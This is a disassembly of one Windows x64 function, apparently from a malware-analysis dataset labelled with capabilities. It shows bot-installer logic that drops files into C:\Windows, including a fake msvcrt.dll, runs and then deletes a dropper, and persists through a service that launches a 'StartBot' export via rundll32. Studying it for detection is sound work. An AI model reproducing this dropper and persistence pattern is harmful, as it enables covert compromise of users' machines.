Function at 0x140001750
Capabilities:
Create process on windows
Create service
Delete file
Persist via windows service
Start service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x20], rax
xor esi, esi
mov ecx, 0x20
mov qword [rsp + 0x78], rsi
call fcn.1400031d0
movdqa xmm0, xmmword [0x140005670]
lea r8, [rsp + 0x70]
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x70], rax
mov edx, 0x7a00
movups xmm0, xmmword [str.C:Windows_tsapi32.exe]
movups xmmword [rax], xmm0
mov ecx, dword [0x140005570]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x140005574]
mov word [rax + 0x14], cx
lea rcx, [0x1400080c0]
mov byte [rax + 0x16], sil
call fcn.140001290
mov rdx, qword [rbp - 0x78]
movzx ebx, al
cmp rdx, 0xf
jbe 0x140001812
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000180d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000180d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000320c
test bl, bl
je 0x1400018b6
xorps xmm0, xmm0
mov dword [rbp - 0x50], 0x68
xor eax, eax
lea rcx, str.C:Windows_tsapi32.exe
mov dword [rbp + 0x14], eax
xor r9d, r9d
mov qword [rbp - 0x60], rax
xor r8d, r8d
lea rax, [rbp - 0x70]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp - 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400018a9
mov rcx, qword [rbp - 0x70]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.C:Windows_tsapi32.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x20
mov qword [rsp + 0x78], rsi
call fcn.1400031d0
movdqa xmm0, xmmword [0x140005670]
lea r8, [rsp + 0x70]
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x70], rax
mov edx, 0x31600
movups xmm0, xmmword [str.C:Windowsjsoncpp.dll]
movups xmmword [rax], xmm0
mov ecx, dword [0x140005588]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x14000558c]
mov word [rax + 0x14], cx
lea rcx, [0x1400420c0]
mov byte [rax + 0x16], sil
call fcn.140001290
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000194e
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001949
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001949
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000320c
mov ecx, 0x20
mov qword [rsp + 0x78], rsi
call fcn.1400031d0
movdqa xmm0, xmmword [0x140005660]
lea r8, [rsp + 0x70]
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x70], rax
mov edx, 0x32600
movups xmm0, xmmword [str.C:Windowsmsvcrt.dll]
movups xmmword [rax], xmm0
mov ecx, dword [0x1400055a0]
mov dword [rax + 0x10], ecx
movzx ecx, byte [0x1400055a4]
mov byte [rax + 0x14], cl
lea rcx, [0x14000fac0]
mov byte [rax + 0x15], sil
call fcn.140001290
mov rdx, qword [rbp - 0x78]
movzx ebx, al
cmp rdx, 0xf
jbe 0x1400019e8
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019e3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000320c
test bl, bl
je 0x140001a7b
mov ecx, 0x20
mov qword [rsp + 0x78], rsi
call fcn.1400031d0
movdqa xmm0, xmmword [0x140005660]
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [str.C:Windowsmsvcrt.dll]
movups xmmword [rax], xmm0
mov ecx, dword [0x1400055a0]
mov dword [rax + 0x10], ecx
movzx ecx, byte [0x1400055a4]
mov byte [rax + 0x14], cl
lea rcx, [rsp + 0x70]
mov byte [rax + 0x15], sil
call fcn.140001440
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140001a7b
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a76
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a76
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000320c
mov ecx, 0x30
mov qword [rsp + 0x140], rdi
mov qword [rbp - 0x68], rsi
call fcn.1400031d0
movdqa xmm0, xmmword [0x140005680]
mov rcx, rax
movdqu xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x70], rax
xor edx, edx
movups xmm0, xmmword [str.rundll32.exe_C:Windowsmsvcrt.dll_StartBot]
mov r8d, 2
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140005518]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140005528]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x140005530]
mov word [rcx + 0x28], ax
movzx eax, byte [0x140005532]
mov byte [rcx + 0x2a], al
mov byte [rcx + 0x2b], sil
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
cmp qword [rbp - 0x58], 0xf
lea rcx, [rbp - 0x70]
mov qword [rsp + 0x60], rsi
lea r8, [0x140005538]
cmova rcx, qword [rbp - 0x70]
lea rdx, [0x140005550]
mov qword [rsp + 0x58], rsi
mov r9d, 0xf01ff
mov qword [rsp + 0x50], rsi
mov rdi, rax
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rcx
mov rcx, rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x10
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdx, qword [rbp - 0x58]
mov rdi, qword [rsp + 0x140]
cmp rdx, 0xf
jbe 0x140001bbd
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bb8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000320c
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.1400031b0
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret